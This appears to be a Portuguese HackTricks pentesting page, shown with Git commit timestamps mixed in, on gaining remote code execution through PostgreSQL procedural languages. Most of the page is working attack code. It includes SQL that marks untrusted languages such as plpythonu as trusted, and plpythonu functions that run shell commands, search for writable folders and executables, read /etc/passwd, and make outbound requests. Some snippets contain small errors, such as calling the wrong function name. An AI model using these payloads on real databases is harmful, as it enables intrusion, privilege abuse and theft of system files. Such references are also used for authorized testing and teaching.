hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md

329 lines
9 KiB
Markdown
Raw Normal View History

# RCE com Linguagens PostgreSQL
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Linguagens PostgreSQL
2022-11-03 18:57:14 +00:00
O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes **linguagens de script instaladas** que você poderia abusar para **executar código arbitrário**.
2022-11-03 18:57:14 +00:00
Você pode **fazer com que elas funcionem**:
2022-11-03 18:57:14 +00:00
```sql
2022-12-20 18:10:20 +00:00
\dL *
2022-11-08 23:28:51 +00:00
2022-11-03 18:57:14 +00:00
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2 sabores**: o **confiável** e o **não confiável**. O **não confiável** terá um nome **terminado em "u"** e será a versão que permitirá que você **execute código** e use outras funções interessantes. Essas são linguagens que, se instaladas, são interessantes:
2022-11-03 18:57:14 +00:00
* **plpythonu**
2022-11-03 20:00:21 +00:00
* **plpython3u**
* **plperlu**
* **pljavaU**
2022-11-03 18:57:14 +00:00
* **plrubyu**
2023-06-06 18:56:34 +00:00
* ... (qualquer outra linguagem de programação usando uma versão insegura)
2022-11-03 18:57:14 +00:00
2022-11-03 20:03:24 +00:00
{% hint style="warning" %}
Se você descobrir que uma linguagem interessante está **instalada** mas **não confiável** pelo PostgreSQL (**`lanpltrusted`** é **`false`**), você pode tentar **confiá-la** com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
2022-11-03 18:57:14 +00:00
```sql
2022-11-03 20:00:21 +00:00
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
2022-12-20 15:51:45 +00:00
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
2022-11-03 18:57:14 +00:00
```
2022-11-03 20:03:24 +00:00
{% endhint %}
2022-12-20 18:10:20 +00:00
{% hint style="danger" %}
Se você não vê uma linguagem, pode tentar carregá-la com (**você precisa ser superadmin**):
2022-12-20 18:10:20 +00:00
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
{% endhint %}
Observe que é possível compilar as versões seguras como "inseguras". Confira [**isso**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) como exemplo. Portanto, sempre vale a pena tentar se você pode executar código, mesmo que você encontre apenas a versão **confiável** instalada.
2022-11-03 18:57:14 +00:00
2022-11-03 20:00:21 +00:00
## plpythonu/plpython3u
2022-11-03 18:57:14 +00:00
{% tabs %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Obter usuário do OS" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Listar dir" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Encontrar a pasta W" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
2023-06-06 18:56:34 +00:00
{% tab title="Encontrar Arquivo" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
2023-06-06 18:56:34 +00:00
{% tab title="Encontrar executáveis" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
2023-06-06 18:56:34 +00:00
{% tab title="Encontrar exec por subs" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
2023-06-06 18:56:34 +00:00
{% tab title="Ler" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
2023-06-06 18:56:34 +00:00
{% tab title="Obter permissões" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Requisição" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
2022-11-03 19:12:25 +00:00
## pgSQL
2023-06-06 18:56:34 +00:00
Verifique a seguinte página:
2022-11-08 21:47:24 +00:00
2022-11-03 19:12:25 +00:00
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
2022-11-08 21:47:24 +00:00
## C
2023-06-06 18:56:34 +00:00
Verifique a seguinte página:
2022-11-08 21:47:24 +00:00
{% content-ref url="rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-11-03 18:57:14 +00:00
<details>
<summary>Support HackTricks</summary>
2022-11-03 18:57:14 +00:00
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-11-03 18:57:14 +00:00
</details>
{% endhint %}